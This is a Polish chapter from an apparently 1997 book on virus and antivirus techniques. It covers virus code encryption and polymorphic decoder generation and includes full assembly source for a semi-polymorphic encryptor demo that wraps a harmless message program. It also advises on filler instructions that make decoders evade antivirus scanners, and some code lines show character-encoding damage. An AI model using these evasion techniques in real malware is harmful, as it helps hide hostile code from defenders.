Scrigroup - Documente si articole

     

HomeDocumenteUploadResurseAlte limbi doc
BulgaraCeha slovacaCroataEnglezaEstonaFinlandezaFranceza
GermanaItalianaLetonaLituanianaMaghiaraOlandezaPoloneza
SarbaSlovenaSpaniolaSuedezaTurcaUcraineana

AdministracjaBajkiBotanikaBudynekChemiaEdukacjaElektronikaFinanse
FizycznyGeografiaGospodarkaGramatykaHistoriaKomputerówKsiążekKultura
LiteraturaMarketinguMatematykaMedycynaOdżywianiePolitykaPrawaPrzepisy kulinarne
PsychologiaRóżnychRozrywkaSportowychTechnikaZarządzanie

Inne mechanizmy stosowane przez wirusy

komputerów



+ Font mai mare | - Font mai mic



DOCUMENTE SIMILARE

Inne mechanizmy stosowane przez wirusy

8.1. Procedury szyfrujące kod

Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc:



> dodawanie - operacja ADD;

> odejmowanie - operacja SUB;

> suma modulo 2 - operacja XOR;

> negowanie arytmetyczne - operacja NEG;

> negowanie logiczne - operacja NOT;

> przesunięcie cykliczne w lewo - operacja ROL;

> przesunięcie cykliczne w prawo - operacja ROR.

Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych.

To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje:

> rodzaj operacji wykonywanej na argumencie;

> argumenty operacji;

> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie

inne).

Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.

8.2. Procedury dekodujące

Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco:

MOV CX, IleBajt≤w

MOV BX,Pocz╣tekDanychDoZakodowania

PΩtla:

XOR byte ptr [BX],12h

ADD byte ptr [BX],34h

NOT byte ptr [BX]

INC BX

LOOP PΩtla,

to procedura dekodująca powinna wyglądać mniej więcej tak:

MOV CX, IleBajt≤w

MOV BX,Pocz╣tekDanychDoZakodowania

PΩtla:

NOT byte ptr [BX]

SUB byte ptr [BX],34h

XOR byte ptr [BX],12h

INC BX

LOOP PΩtla.

W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu):

MOV CX,IleBajt≤w

MOV BX,Pocz╣tekDanychDoZakodowania

PΩtla:

DEKODUJ [BX] DEKODUJ [BX]

DEKODUJ [BX]

INC BX

LOOP PΩtla,

co dla nowoczesnych skanerów nie stanowi żadnej przeszkody

Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące.

8.2.1. Polimorficzne procedury dekodujące

Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących.

Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.

Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.

8.2.1.1. Semi-polimorfizm

Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji:

MOV licznik, IleDanych

MOV indeks, Pocz╣tekDanychDoZakodowania

PΩtla:

dekoduj_i [indeks]

DEKODUJ_2 [indeks]

DEKODUJ_N [indeks]

ADD indeks, przyrost

LOOP PΩtla

Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona.

Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/?

Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.

W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami).

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;

;

Program generuje pliki zakodowane semi-polimorficznie ;

(pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;

przypadkowe rozkazy JUMP) ;

; Kompilacja :  ;

TASM /m2 SEMIPOL.ASM ;

TLINK SEMIPOL.OBJ ;

;

SEMI_POL SEGMENT

ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL

NUL = 00h ;

TAB = 09h ;

LF = 0Ah ; stale znakowe

CR = 0Dh ; /

SPACE = 20h ; /

DOLAR = '$' ; /

RozmiarStosu equ 200h ; rozmiar stosu

DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow

Start:

Call InicjujSystem ; ustaw zmienne programu

lea si,TeCopyRight ; wyswietl info o programie

Call Druk

Call WezParametry ; wez parametry z linii polecen

lea si,TeGenerator ; wyswietl info o dzialaniu

Call Druk

Call GenerowaniePlikow ; generuj pliki

mov ax,4C00h ; funkcja DOS - powrot do systemu

int 21h ; wywolaj funkcje

GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM

push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry

mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania

GenJedenPlik:

push cx ; zachowaj na stosie : ile plikow

lea si,AktualnaNazwaPliku ; wyswietl nazwe pliku

Call DrukLn ; /

lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik

mov ax,3D02h ; funkcja DOS - otworz plik

int 21h ; wywolaj funkcje

jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go

mov cx,20h ; atrybut pliku tworzonego : Archive

lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku

mov ah,5Bh ; funkcja DOS - tworz plik

int 21h ; wywolaj funkcje

WezUchwyt:

mov UchwytPliku,ax ; zapamietaj uchwyt pliku

lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania

lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod

mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu

Call SemiPol

; CX:=Ile danych do zapisu

lea dx,BuforDocelowy ; skad zapisac dane

mov bx,UchwytPliku ; numer uchwytu

mov ah,40h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje

Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)

pop cx ; przywroc ze stosu : ile plikow

loop GenJedenPlik ; generuj CX plikow

pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry

ret ; powrot z procedury

GenerowaniePlikow endp

ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)

; operuje na lancuchu 'SEMIxxxx'

push cx si ; zachowaj na stosie zmieniane rejestry

mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry

ZwiekszNumerPlikuPetla:

mov si,cx

dec si

inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx

cmp byte ptr [AktNumPliku+si],'9'

; czy numer > 9 ?

jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury

; wiekszy = uwzglednij przeniesienie

mov byte ptr [AktNumPliku+si],'0'

; cyfra : 9->0

loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj

ZwiekszNumerPlikuPowrot:

pop si cx ; przywroc ze stosu zmieniane rejestry

ret ; powrot z procedury

ZwiekszNumerPliku endp

WezParametry proc near ; pobiera parametry z PSP:80h

push ds ; zachowaj DS

mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac

mov ds,PSP_Segment ; DS:=PSP

mov si,80h ; DS:SI=PSP:80

lodsw ; DS:SI=PSP:82, AX:=licznik znakow

or al,al ; czy sa jakies znaki w linii polecen ?

jz WezParametryPowrot ; nie = wyjdz z procedury

SzukajCyfry:

lodsb ; wez znak

cmp al,SPACE ; pomin spacje

je SzukajCyfry ; /

cmp al,TAB ; pomin tabulator

je SzukajCyfry ; /

mov bx,si ; zachowaj pozycje w lancuchu

SzukajCR: ; szukaj konca ciagu znakow

lodsb ; wez znak

cmp al,CR ; czy koniec lancucha ?

je LancuchNaLiczbe ; tak = konwersja

cmp al,SPACE ; czy spacja ?

je LancuchNaLiczbe ; tak = konwersja

cmp al,TAB ; czy tabulator ?

je LancuchNaLiczbe ; tak = konwersja

cmp al,'0' ;

jb WezParametryPowrot ; czy znak w zakresie

; - '0'..'9'

cmp al,'9' ; / jezeli nie, to blad

ja WezParametryPowrot ; /

jmp short SzukajCR ; wez kolejny znak

LancuchNaLiczbe: ; konwersja lancucha na liczbe

mov cx,si ; wez koniec lancucha

sub cx,bx ; odejmij poczatek lancucha

jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac

cmp cx,4 ; czy liczba > 9999 ?

ja WezParametryPowrot ; skocz, jesli tak

mov bx,1 ; BX zawiera kolejne potegi 10

xor di,di ; DI zawiera aktualna sume

LancuchNaLiczbeLoop:

; znaki czytamy od konca

dec si ; SI:=SI-2

dec si ; /

lodsb ; pobierz znak

sub al,'0' ; konwertuj na liczbe z zakresu 0..9

mov ah,0 ; AX=AL

mul bx ; mnoz przez kolejna potege 10

add di,ax ; dodaj do sumy

mov ax,10 ; zwieksz potege 10

mul bx ; pomnoz 10*BX

xchg ax,bx ; BX:=10 do kolejnej potegi

; 1,10,100,1000

loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry

WezParametryPowrot: ; DI zawiera liczbe plikow

pop ds ; przywroc DS ze stosu

mov LiczbaPlikow,di ; przepisz do zmiennej

ret ; powrot z procedury

WezParametry endp

DrukLn proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI i dodaje Enter

push si ; SI sie zmienia, trzeba zachowac

Call Druk ; najpierw wyswietl tekst

lea si,TeCRLF ; a teraz dodaj CR,LF

Call Druk ; /

pop si ; przywroc SI

ret ; powrot z procedury

DrukLn endp

Druk proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI

push ax ; zachowaj zmieniane rejestry

push si ; /

DrukNastepnyZnak:

lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem

jz DrukPowrot ; tak=koniec napisu, wyjdz z petli

Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)

jmp short DrukNastepnyZnak ; idz po nastepny znak

DrukPowrot: ; tekst wydrukowany

pop si ; przywroc zmieniane rejestry

pop ax ; /

ret ; powrot z procedury

Druk endp

DrukZnak proc near ; procedura wyswietla znak w AL

push ax ; zachowaj zmieniany rejestr

mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL

int 10h ; wywolaj funkcje

pop ax ; przywroc zmieniany rejestr

ret ; powrot z procedury

DrukZnak endp

InicjujSystem proc near ; ustawia stos, DS, ES itd.

pop bp ; zachowaj adres powrotu z procedury

; bo stos zostanie przeniesiony

mov CS:PSP_Segment,ds ; zapamietaj PSP

mov ax,cs ;

mov ds,ax ; - CS=DS=ES

mov es,ax ; /

mov ss,ax ; stos na koniec programu

lea sp,StosKoniec ; /

cld ; DF=1, zwiekszaj przy operacjach lancuchowych

jmp bp ; powrot z procedury

InicjujSystem endp

SemiPol:

push ax si di ; zachowaj na stosie zmieniane rejestry

shr cx,1 ; dlugosc/2 bo szyfrujemy slowa

inc cx ; dla pewnosci, ze wszystkie bajty zostana

; zaszyfrowane

mov Semi_IleDanych,cx ;

mov Semi_Skad,si ; - zachowaj dane

mov Semi_Dokad,di ; /

call PseudoLosowa ; wez przypadkowa liczbe

mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator

; szyfruj kod

lea di,TMPBufor ; gdzie zapisac szyfrowany kod

Szyfruj:

lodsw ; wez dana

add ax,Semi_Losowa ; szyfruj ja

stosw ; zapisz zaszyfrowana dana

loop Szyfruj ; powtarzaj szyfrowanie

; wpisz 'smieci' do bufora

mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)

mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)

Smietnik: ; wypelnianie

Call Pseudolosowa ; wez przypadkowa dana

stosw ; zapisz ja

loop Smietnik ; zapisz 'smieci' w buforze

; generuj procedure dekodera

;

; Dekoder ma nastepujaca postac :

;

; mov si,PoczatekDanych BE,????

; mov cx,IleDanych B9,????

; Petla:

; sub [si],Losowa 81,2C,????

; dec cx 49

; jz Koniec 74,??

; jmp Petla E9,????

; Koniec:

;

mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)

call LosowySkok ; wstaw losowy skok

mov al,0BEh ; DEKODER: mov si, ofset Poczaek

stosb ; BE,????

mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej

stosw ; zostaw miejsce na ofset

call LosowySkok ; wstaw losowy skok

mov al,0B9h ; DEKODER: mov cx,IleDanych

stosb ; B9,????

mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania

stosw ;

call LosowySkok ; wstaw losowy skok

mov Semi_Petla,di ; DEKODER: sub [si],Losowa

mov ax,2C81h ; pierwsza czesc rozkazu

stosw

mov ax,Semi_Losowa ; zapisz wartosc dekodujaca

stosw ; zaszyfrowany program

call LosowySkok ; wstaw losowy skok

mov al,46h ; DEKODER: inc si

stosb

call LosowySkok ; wstaw losowy skok

mov al,46h ; DEKODER: inc si

stosb

call LosowySkok ; wstaw losowy skok

mov al,49h ; DEKODER: dec cx

stosb

call LosowySkok ; wstaw losowy skok

mov al,74h ; DEKODER: JZ ??

stosb ; wstaw pierwsza czesc rozkazu

mov Semi_DokadJZ,di ; zostanie ustawione pozniej

stosb ; zostaw miejsce na ofset

call LosowySkok ; wstaw losowy skok

mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem

stosb ; wstaw E9

mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:

sub ax,di ;

sub ax,2 ; odejmij dlugosc operandu w E9,????

stosw ;

mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:

mov ax,di ; i wstaw go pod wczesniej zapamietany

sub ax,bx ; ofset

dec ax ; odejmij dlugosc operandu w 74,??

mov [bx],al ;

mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja

mov ax,di ; sie dane przeznaczone do deszyfrowania

sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla

add ax,100h ; pliku COM (ORG 100h)

mov [bx],ax ; i zapisz pod zapamietany adres

mov cx,Semi_IleDanych ; ile danych do kopiowania

lea si,TMPBufor ; pobieraj z bufora zawierajacego

rep movsw ; zaszyfrowany kod i kopiuj na koniec

mov cx,di ; oblicz, ile danych do zapisu, czyli

sub cx,Semi_Dokad ; wartosc zwracana przez procedure

pop di si ax ; przywroc zapamietane rejestry

ret ; powrot z procedury

LosowySkok: ; wstawia losowy skok

mov ax,15 ; zakres skokow 1..15

Call PseudolosowaAX ; losuj z zakresu 1..15

mov ah,al ;

mov al,0EBh ; AX=skok,EB

stosw ; zapisz EB,skok

mov al,ah ;

mov ah,0 ; AX:=AL=skok

add di,ax ; dodaj do di

ret ; powrot z procedury

Semi_IleDanych dw ? ; potrzebne do chwilowego

Semi_Skad dw ? ; - zachowania roznych wartosci

Semi_Dokad dw ? ; /

Semi_Losowa dw ? ; wartosc szyfrujaca kod

Semi_GdziePocz dw ? ; adresy do zmiennych nieznanych

Semi_Petla dw ? ; w momencie, kiedy sa potrzebne

Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej

; / zmienic

PseudoZarodek dw ? ; aktualny zarodek generatora liczb

; / pseudolosowych

TMPBufor db 256 dup(?) ; rozmiar tymczasowego bufora

; - = 256 bajtow, (o rozmiarze co najmniej

; / rownym dlugosci kodu wirusa)

PseudoLosowa: ; generuje liczbe pseudolosowa

; z zakresu 1..65535

mov ax,0FFFFh

PseudoLosowaAX: ; przedzial w AX

push dx ; zachowaj na chwile DX

Call ZmienPseudoZarodek ; zmien zarodek

mul PseudoZarodek ; DX:AX:=przedzial*Zarodek

xchg ax,dx ; AX:=0..przedzial

inc ax ; pomin zero

pop dx ; przywroc DX ze stosu

ret

ZmienPseudoZarodek: ; zmienia PseudoZarodek

push ax ; zachowaj stary AX

in al,40h ; AL:=przypadkowa wartosc

xchg ah,al ; AH:=AL

in al,40h ; AX:=przypadkowa wartosc

xor ax,0ABCDh ; operacje pomocnicze

add ax,1234h ; operacje pomocnicze

mov PseudoZarodek,ax ; przepisz nowy zarodek

pop ax ; przywroc stary AX

ret ; powrot z procedury

Programik do zaszyfrowania wyswietlajacy komunikat ;

przy uzyciu 09/21 ;

RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego

StartKoduPrzykladowego:

call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu

TrikCALL_POP:

pop si ; wez relatywny ofset, gdzie kod jest w pamieci

mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3

add dx,si ; DX:=ofset do tekstu (relatywny)

mov ah,9 ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje

int 20h ; powrot do DOS (program typu COM)

TePrzyklad db CR,LF ; tekst do wyswietlenia

db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'

db DOLAR

KoniecKoduPrzykladowego:

TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',

db CR,LF,NUL

TeGenerator db CR,LF,'Czekaj, generuje plik(i) ',CR,LF,NUL

AktualnaNazwaPliku db 'SEMI'

AktNumPliku db '0001'

db '.COM',NUL

TeCRLF db CR,LF,NUL

PSP_Segment dw ?

UchwytPliku dw ?

LiczbaPlikow dw ?

BuforDocelowy db 4096 dup(?)

StosStart db RozmiarStosu dup(?)

StosKoniec:

SEMI_POL ENDS

END Start

8.2.1.2. Pełny polimorfizm

Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:

LICZNIK:=IleDanych

INDEX:=Pocz╣tekZaszyfrowanegoKodu

FOR I:=1 to Licznik do begin

DEKODUJ_1 DANŃ [INDEX]

DEKODUJ_2 DANA [INDEX]

DEKODUJ_N DANA [INDEX]

INDEX:=INDEX + PRZYROST ;

end;

Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:

> indeks;

> licznik;

> kierunek zwiększania licznika;

> kierunek dekodowania;

> rodzaj używanych instrukcji (8086, 80286 itd.).

Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.

Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.

Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora.

Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera.

Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo).

O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora.

Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te:

> nie zamazywały dowolnie nie używanej przez siebie pamięci;

> nie zawieszały komputera;

> nie powodowały generowania wyjątków;

> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik).

Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość.

Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu).

Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją.

Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).

Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).

Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony).

Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF.

Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających

tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX:

MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX

XOR CX,CX ; operacja XOR na tych samych operandach zeruje je

SUB CX,CX ; odejmij CX od CX, w efekcie CX=0

AND CX,0 ; iloczyn logiczny z zerem jest zerem

ZerujCX: ; po wykonaniu pΩtli LOOP ZerujCX

; rejestr CX bΩdzie r≤wny O

MOV CX,XYZ ; wpisz do rejstru CX warto£µ

SUB CX,XYZ ; i potem j╣ od niego odejmij

MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy

MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX

XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr≤w 8-bitowych SUB CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX

Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.

Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć:

CLC ADC [INDEX], ????

SUB [INDEX],-????

MOV REJ,????

ADD [INDEX],REJ

Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji:

. ; wype│niacz

inicjuj rejestr - licznik lub indeks

; wype│niacz

inicjuj rejestr - indeks lub licznik

. ; wype│niacz

pierwsza instrukcja dekodera

. ; wype│niacz

druga instrukcja dekodera

. ; wype│niacz

n-ta instrukcja dekodera

; wype│niacz

sprawdzenie warunku zako±czenia pΩtli

. ; wype│niacz

skok, je┐eli warunek spe│niony

. ; wype│niacz

w│a£ciwy, zaszyfrowany

kod wirusa, do kt≤rego

zostanie przekazane

sterowanie po rozkodowaniu

. ; wype│niacz

Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe.

